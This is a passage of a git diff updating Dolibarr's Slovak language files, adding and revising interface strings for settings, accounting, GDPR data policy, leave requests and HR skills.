      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=Zvýrazniť riadok pre prechode kurzora @@ -2053,6 +2081,8 @@ RemoveSpecialChars=Remove special characters COMPANY_AQUARIUM_CLEAN_REGEX=Regex filter to clean value (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Regex filter to clean value (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Duplicate not allowed +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=Data Protection Officer (DPO, Data Privacy or GDPR contact) GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=Help text to show on tooltip @@ -2080,6 +2110,7 @@ MailboxTargetDirectory=Mailbox target directory EmailcollectorOperations=Operations to do by collector EmailcollectorOperationsDesc=Operations are executed from top to bottom order MaxEmailCollectPerCollect=Max number of emails collected per collect +TestCollectNow=Test collect CollectNow=Collect now ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? DateLastCollectResult=Date of latest collect try @@ -2109,6 +2140,7 @@ CodeLastResult=Latest result code NbOfEmailsInInbox=Number of emails in source directory LoadThirdPartyFromName=Load third party searching on %s (load only) LoadThirdPartyFromNameOrCreate=Load third party searching on %s (create if not found) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Save attached files into object documents if a ref of an object is found into email topic. WithDolTrackingID=Message from a conversation initiated by a first email sent from Dolibarr WithoutDolTrackingID=Message from a conversation initiated by a first email NOT sent from Dolibarr @@ -2183,6 +2215,7 @@ ShowProjectLabel=Project Label PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=If you want to have some texts in your PDF duplicated in 2 different languages in the same generated PDF, you must set here this second language so generated PDF will contains 2 different languages in same page, the one chosen when generating PDF and this one (only few PDF templates support this). Keep empty for 1 language per PDF. PDF_USE_A=Gererate PDF documents with format PDF/A instead of defaut format PDF FafaIconSocialNetworksDesc=Enter here the code of a FontAwesome icon. If you don't know what is FontAwesome, you can use the generic value fa-address-book. @@ -2211,12 +2244,12 @@ MailToPartnership=Partnership AGENDA_EVENT_DEFAULT_STATUS=Default event status when creating a event from the form YouShouldDisablePHPFunctions=You should disable PHP functions IfCLINotRequiredYouShouldDisablePHPFunctions=Except if you need to run system commands in custom code, you shoud disable PHP functions -PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an anitivurs program), you must keep PHP functions +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=No writable files or directories of the common programs were found into your root directory (Good) RecommendedValueIs=Recommended: %s Recommended=Odporúčaná NotRecommended=Not recommended -ARestrictedPath=Some restricted path +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Check for external modules updates CheckForModuleUpdateHelp=This action will connect to editors of external modules to check if a new version is available. ModuleUpdateAvailable=An update is available @@ -2264,10 +2297,10 @@ LateWarningAfter="Late" warning after TemplateforBusinessCards=Template for a business card in different size InventorySetup= Inventory Setup ExportUseLowMemoryMode=Use a low memory mode -ExportUseLowMemoryModeHelp=Use the low memory mode to execute the exec of the dump (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that file is completed and error message can't be reported if it fails. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook setup Settings = Settings WebhookSetupPage = Webhook setup page @@ -2288,6 +2321,8 @@ IconOnly=Icon only - Text on tooltip only INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. IfThisCategoryIsChildOfAnother=If this category is a child of another one DarkThemeMode=Dark theme mode @@ -2307,3 +2342,37 @@ UsePassword=Use a password UseOauth=Use a OAUTH token Images=Images MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/sk_SK/compta.lang b/htdocs/langs/sk_SK/compta.lang index 00f5ab4b5e8..dc890e8e00a 100644 --- a/htdocs/langs/sk_SK/compta.lang +++ b/htdocs/langs/sk_SK/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Balance (before) Balance=Zostatok Debit=Debet Credit=Úver +AccountingDebit=Debet +AccountingCredit=Úver Piece=Accounting Doc. AmountHTVATRealReceived=Net zhromaždený AmountHTVATRealPaid=Čisté platené @@ -146,9 +148,11 @@ ConfirmPaySalary=Are you sure you want to classify this salary card as paid? DeleteSocialContribution=Delete a social or fiscal tax payment DeleteVAT=Delete a VAT declaration DeleteSalary=Delete a salary card +DeleteVariousPayment=Delete a various payment ConfirmDeleteSocialContribution=Are you sure you want to delete this social/fiscal tax payment ? ConfirmDeleteVAT=Are you sure you want to delete this VAT declaration ? -ConfirmDeleteSalary=Are you sure you want to delete this salary? +ConfirmDeleteSalary=Are you sure you want to delete this salary ? +ConfirmDeleteVariousPayment=Are you sure you want to delete this various payment ? ExportDataset_tax_1=Social and fiscal taxes and payments CalcModeVATDebt=Režim %sVAT na záväzky accounting%s. CalcModeVATEngagement=Režim %sVAT z príjmov-expense%sS. @@ -242,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=The report of Turnover colle TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=The report of Turnover collected per sale tax rate is not available. This report is only available for turnover invoiced. CalculationMode=Výpočet režim AccountancyJournal=Accounting code journal -ACCOUNTING_VAT_SOLD_ACCOUNT=Accounting account by default for VAT on sales (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_BUY_ACCOUNT=Accounting account by default for VAT on purchases (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_PAY_ACCOUNT=Accounting account by default for paying VAT -ACCOUNTING_ACCOUNT_CUSTOMER=Accounting account used for customer third parties +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated customer accounting account on third party is not defined. -ACCOUNTING_ACCOUNT_SUPPLIER=Accounting account used for vendor third parties +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated vendor accounting account on third party is not defined. ConfirmCloneTax=Confirm the clone of a social/fiscal tax ConfirmCloneVAT=Confirm the clone of a VAT declaration @@ -287,9 +291,9 @@ ReportPurchaseTurnover=Purchase turnover invoiced ReportPurchaseTurnoverCollected=Purchase turnover collected IncludeVarpaysInResults = Include various payments in reports IncludeLoansInResults = Include loans in reports -InvoiceLate30Days = Invoices late (> 30 days) -InvoiceLate15Days = Invoices late (15 to 30 days) -InvoiceLateMinus15Days = Invoices late (< 15 days) +InvoiceLate30Days = Late (> 30 days) +InvoiceLate15Days = Late (15 to 30 days) +InvoiceLateMinus15Days = Late (< 15 days) InvoiceNotLate = To be collected (< 15 days) InvoiceNotLate15Days = To be collected (15 to 30 days) InvoiceNotLate30Days = To be collected (> 30 days) @@ -298,3 +302,4 @@ InvoiceToPay15Days=To pay (15 to 30 days) InvoiceToPay30Days=To pay (> 30 days) ConfirmPreselectAccount=Preselect accountancy code ConfirmPreselectAccountQuestion=Are you sure you want to preselect the %s selected lines with this accountancy code ? +AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/sk_SK/contracts.lang b/htdocs/langs/sk_SK/contracts.lang index e9fdcee58b9..9ebead42334 100644 --- a/htdocs/langs/sk_SK/contracts.lang +++ b/htdocs/langs/sk_SK/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=Zmluvy/Predplatné ContractsAndLine=Zmluvy a riadky zmlúv Contract=Zmluva ContractLine=Riadok zmluvy +ContractLines=Contract lines Closing=Zatváranie NoContracts=Žiadne zmluvy MenuServices=Služby @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=Are you sure you want to delete this contract line? MoveToAnotherContract=Presuňte službu do inej zmluve. ConfirmMoveToAnotherContract=Vybral som novú cieľovú zmluvy, a potvrdzujem, že chcete presunúť túto službu do tohto zmluvného vzťahu. ConfirmMoveToAnotherContractQuestion=Choose in which existing contract (of same third party), you want to move this service to? -PaymentRenewContractId=Obnoviť zmluvu línia (číslo %s) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=Dátum spotreby NoExpiredServices=Žiadne skončila aktívnej služby ListOfServicesToExpireWithDuration=Zoznam služieb, ktoré vyprší v %s dní @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=Podpísanie kontraktu kontakt so záka HideClosedServiceByDefault=Hide closed services by default ShowClosedServices=Show Closed Services HideClosedServices=Hide Closed Services +UserStartingService=User starting service +UserClosingService=User closing service diff --git a/htdocs/langs/sk_SK/datapolicy.lang b/htdocs/langs/sk_SK/datapolicy.lang new file mode 100644 index 00000000000..46cdc96c440 --- /dev/null +++ b/htdocs/langs/sk_SK/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Zákazník +DATAPOLICY_TIERS_PROSPECT = Vyhliadka +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Dodávateľ +DATAPOLICY_CONTACT_CLIENT = Zákazník +DATAPOLICY_CONTACT_PROSPECT = Vyhliadka +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Dodávateľ +DATAPOLICY_ADHERENT = Člen +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/sk_SK/dict.lang b/htdocs/langs/sk_SK/dict.lang index 5a13b6e92b7..5815760999b 100644 --- a/htdocs/langs/sk_SK/dict.lang +++ b/htdocs/langs/sk_SK/dict.lang @@ -21,7 +21,7 @@ CountryNL=Holandsko CountryHU=Maďarsko CountryRU=Rusko CountrySE=Švédsko -CountryCI=Ivoire pobrežia +CountryCI=Ivory Coast CountrySN=Senegal CountryAR=Argentína CountryCM=Kamerun @@ -250,7 +250,9 @@ CountryMF=Svätý Martin ##### Civilities ##### CivilityMME=Pani +CivilityMMEShort=Pani CivilityMR=Pán +CivilityMRShort=Pán CivilityMLE=Pani CivilityMTRE=Majster CivilityDR=Lekár diff --git a/htdocs/langs/sk_SK/ecm.lang b/htdocs/langs/sk_SK/ecm.lang index 3060979f85e..48db2d06898 100644 --- a/htdocs/langs/sk_SK/ecm.lang +++ b/htdocs/langs/sk_SK/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Ručné Directory ECMSectionAuto=Automatické adresár ECMSectionsManual=Ručné strom ECMSectionsAuto=Automatické strom +ECMSectionsMedias=Medias tree ECMSections=Adresára ECMRoot=ECM Root ECMNewSection=Nový adresár @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Počet súborov v podadresároch ECMCreationUser=Tvorca ECMArea=DMS/ECM area ECMAreaDesc=The DMS/ECM (Document Management System / Electronic Content Management) area allows you to save, share and search quickly all kind of documents in Dolibarr. -ECMAreaDesc2=* Automatické adresáre sú vyplnené automaticky pri pridávaní dokumentov z karty prvku.
      * Manuálne adresára možno použiť na uloženie dokladov, ktoré nie sú spojené s konkrétnou prvok. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=Register %s bol vymazaný. ECMSectionWasCreated=Directory %s has been created. ECMSearchByKeywords=Vyhľadávanie podľa kľúčových slov diff --git a/htdocs/langs/sk_SK/holiday.lang b/htdocs/langs/sk_SK/holiday.lang index 23087db2f90..0a3e5487bbd 100644 --- a/htdocs/langs/sk_SK/holiday.lang +++ b/htdocs/langs/sk_SK/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM -Holidays=Leave +Holidays=Leaves +Holiday=Leave CPTitreMenu=Leave MenuReportMonth=Mesačný výkaz MenuAddCP=New leave request +MenuCollectiveAddCP=New collective leave request NotActiveModCP=You must enable the module Leave to view this page. AddCP=Make a leave request DateDebCP=Dátum začatia @@ -56,6 +58,7 @@ ConfirmDeleteCP=Confirm the deletion of this leave request? ErrorCantDeleteCP=Error you don't have the right to delete this leave request. CantCreateCP=You don't have the right to make leave requests. InvalidValidatorCP=You must choose the approver for your leave request. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=Musíte vybrať počiatočný dátum. NoDateFin=Musíte vybrať dátum ukončenia. ErrorDureeCP=Your leave request does not contain working day. @@ -79,6 +82,8 @@ MotifCP=Dôvod UserCP=Užívateľ ErrorAddEventToUserCP=Došlo k chybe pri pridávaní výnimočnú dovolenku. AddEventToUserOkCP=Pridanie mimoriadnej dovolenky bola dokončená. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=View change logs LogCP=Log of all updates made to "Balance of Leave" ActionByCP=Updated by @@ -86,6 +91,13 @@ UserUpdateCP=Updated for PrevSoldeCP=Predchádzajúci Balance NewSoldeCP=New Balance alreadyCPexist=A leave request has already been done on this period. +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=Skupiny +users=Užívatelia +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Beginning day of leave request LastDayOfHoliday=Ending day of leave request BoxTitleLastLeaveRequests=Latest %s modified leave requests @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s is usualy a NON working day BlockHolidayIfNegative=Block if balance negative LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/sk_SK/hrm.lang b/htdocs/langs/sk_SK/hrm.lang index 5645e5b00f9..7b44243dff1 100644 --- a/htdocs/langs/sk_SK/hrm.lang +++ b/htdocs/langs/sk_SK/hrm.lang @@ -12,7 +12,7 @@ OpenEtablishment=Open establishment CloseEtablishment=Close establishment # Dictionary DictionaryPublicHolidays=Leave - Public holidays -DictionaryDepartment=HRM - Department list +DictionaryDepartment=HRM - Organizational Unit DictionaryFunction=HRM - Job positions # Module Employees=Employees @@ -20,13 +20,14 @@ Employee=Zamestnanec NewEmployee=New employee ListOfEmployees=List of employees HrmSetup=HRM module setup -HRM_MAXRANK=Maximum rank for a skill +SkillsManagement=Skills management +HRM_MAXRANK=Maximum number of levels to rank a skill HRM_DEFAULT_SKILL_DESCRIPTION=Default description of ranks when skill is created deplacement=Shift DateEval=Evaluation date JobCard=Job card -Job=Práca -Jobs=Jobs +JobPosition=Job profile +JobsPosition=Job profiles NewSkill=New Skill SkillType=Skill type Skilldets=List of ranks for this skill @@ -47,9 +48,8 @@ ConfirmValidateEvaluation=Are you sure you want to validate this evaluation with EvaluationCard=Evaluation card RequiredRank=Required rank for this job EmployeeRank=Employee rank for this skill -Position=Pozícia -Positions=Positions -PositionCard=Position card +EmployeePosition=Employee position +EmployeePositions=Employee positions EmployeesInThisPosition=Employees in this position group1ToCompare=Usergroup to analyze group2ToCompare=Second usergroup for comparison @@ -70,12 +70,23 @@ RequiredSkills=Required skills for this job UserRank=User Rank SkillList=Skill list SaveRank=Save rank -knowHow=Know how -HowToBe=How to be -knowledge=Knowledge +TypeKnowHow=Know how +TypeHowToBe=How to be +TypeKnowledge=Knowledge AbandonmentComment=Abandonment comment DateLastEval=Date last evaluation NoEval=No evaluation done for this employee HowManyUserWithThisMaxNote=Number of users with this rank HighestRank=Highest rank SkillComparison=Skill comparison +ActionsOnJob=Events on this job +VacantPosition=job vacancy +VacantCheckboxHelper=Checking this option will show unfilled positions (job vacancy) +SaveAddSkill = Skill(s) added +SaveLevelSkill = Skill(s) level saved +DeleteSkill = Skill removed +SkillsExtraFields=Attributs supplémentaires (Compétences) +JobsExtraFields=Attributs supplémentaires (Emplois) +EvaluationsExtraFields=Attributs supplémentaires (Evaluations) +NeedBusinessTravels=Need business travels +NoDescription=No description diff --git a/htdocs/langs/sk_SK/mailmanspip.lang b/htdocs/langs/sk_SK/mailmanspip.lang index dac61ddcda2..e9747d6db25 100644 --- a/htdocs/langs/sk_SK/mailmanspip.lang +++ b/htdocs/langs/sk_SK/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=Test prihlásenia na odber bol úspešne spustený MailmanDeletionSuccess=Test odhlásenia z odberu bol úspešne spustený SynchroMailManEnabled=Poštár aktualizácia bude vykonaná SynchroSpipEnabled=Aktualizácia SPIP bude vykonaná -DescADHERENT_MAILMAN_ADMINPW=Poštár heslo správcu +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Poštár heslo správcu DescADHERENT_MAILMAN_URL=URL pre poštára predplatné DescADHERENT_MAILMAN_UNSUB_URL=URL pre poštára unsubscriptions DescADHERENT_MAILMAN_LISTS=Zoznam (y) pre automatické nápis nových členov (oddelené čiarkou) diff --git a/htdocs/langs/sk_SK/mails.lang b/htdocs/langs/sk_SK/mails.lang index c43a0ba6362..71fa257412d 100644 --- a/htdocs/langs/sk_SK/mails.lang +++ b/htdocs/langs/sk_SK/mails.lang @@ -7,10 +7,10 @@ MailCard=E-mailom kartu MailRecipients=Príjemcovia MailRecipient=Príjemca MailTitle=Popis -MailFrom=Odosielateľ +MailFrom=Z MailErrorsTo=Chyby MailReply=Odpovedať -MailTo=Prijímač (s) +MailTo=Na MailToUsers=To user(s) MailCC=Kopírovať do MailToCCUsers=Copy to users(s) @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Contacts by position MailingModuleDescEmailsFromFile=Emails from file MailingModuleDescEmailsFromUser=Emails input by user MailingModuleDescDolibarrUsers=Users with Emails -MailingModuleDescThirdPartiesByCategories=Third parties (by categories) +MailingModuleDescThirdPartiesByCategories=Tretie strany SendingFromWebInterfaceIsNotAllowed=Sending from web interface is not allowed. EmailCollectorFilterDesc=All filters must match to have an email being collected @@ -178,3 +178,5 @@ IsAnAnswer=Is an answer of an initial email RecordCreatedByEmailCollector=Record created by the Email Collector %s from email %s DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact DefaultStatusEmptyMandatory=Empty but mandatory +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/sk_SK/main.lang b/htdocs/langs/sk_SK/main.lang index ee1c88d1326..ab604be551f 100644 --- a/htdocs/langs/sk_SK/main.lang +++ b/htdocs/langs/sk_SK/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=DejaVuSans FONTSIZEFORPDF=8 SeparatorDecimal=, @@ -28,6 +34,7 @@ NoTemplateDefined=No template available for this email type AvailableVariables=Available substitution variables NoTranslation=Preklad neexistuje Translation=Preklad +Translations=Translations CurrentTimeZone=Časové pásmo PHP (server) EmptySearchString=Enter non empty search criterias EnterADateCriteria=Enter a date criteria @@ -199,6 +206,7 @@ Valid=Platný Approve=Schvaľovať Disapprove=Neschváliť ReOpen=Znovu otvoriť +OpenVerb=Otvorení Upload=Upload ToLink=Odkaz Select=Vybrať @@ -216,7 +224,7 @@ UserGroup=User group UserGroups=User groups NoUserGroupDefined=Nie je definovaná skupina užívateľov Password=Heslo -PasswordRetype=Zadajte znovu heslo +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Všimnite si, že mnoho funkcií / modules sú zakázané v tejto ukážke. Name=Názov NameSlashCompany=Name / Company @@ -244,6 +252,7 @@ Designation=Popis DescriptionOfLine=Popis linky DateOfLine=Date of line DurationOfLine=Duration of line +ParentLine=Parent line ID Model=Doc template DefaultModel=Default doc template Action=Udalosť @@ -344,7 +353,7 @@ KiloBytes=Kilobajty MegaBytes=Megabyte GigaBytes=Gigabyte TeraBytes=Terabajtov -UserAuthor=Ceated by +UserAuthor=Created by UserModif=Updated by b=b Kb=Kb @@ -480,6 +489,7 @@ ActionsOnContact=Events for this contact/address ActionsOnContract=Events for this contract ActionsOnMember=Akcia o tomto členovi ActionsOnProduct=Events about this product +ActionsOnAsset=Events for this fixed asset NActionsLate=%s neskoro ToDo=Ak chcete Completed=Completed @@ -517,6 +527,7 @@ or=alebo Other=Ostatné Others=Ostatné OtherInformations=Other information +Workflow=Workflow Quantity=Množstvo Qty=Množstvo ChangedBy=Zmenil @@ -619,6 +630,7 @@ MonthVeryShort11=N MonthVeryShort12=D AttachedFiles=Priložené súbory a dokumenty JoinMainDoc=Join main document +JoinMainDocOrLastGenerated=Send the main document or the last generated one if not found DateFormatYYYYMM=YYYY-MM DateFormatYYYYMMDD=YYYY-MM-DD DateFormatYYYYMMDDHHMM=YYYY-MM-DD HH: SS @@ -709,6 +721,7 @@ FeatureDisabled=Funkcia vypnutá MoveBox=Move widget Offered=Ponúkané NotEnoughPermissions=Nemáte oprávnenie pre túto akciu +UserNotInHierachy=This action is reserved to the supervisors of this user SessionName=Názov relácie Method=Metóda Receive=Prijať @@ -798,6 +811,7 @@ URLPhoto=URL fotky/loga SetLinkToAnotherThirdParty=Odkaz na inej tretej osobe LinkTo=Link to LinkToProposal=Link to proposal +LinkToExpedition= Link to expedition LinkToOrder=Link to order LinkToInvoice=Link to invoice LinkToTemplateInvoice=Link to template invoice @@ -916,6 +930,7 @@ DirectDownloadInternalLink=Private download link PrivateDownloadLinkDesc=You 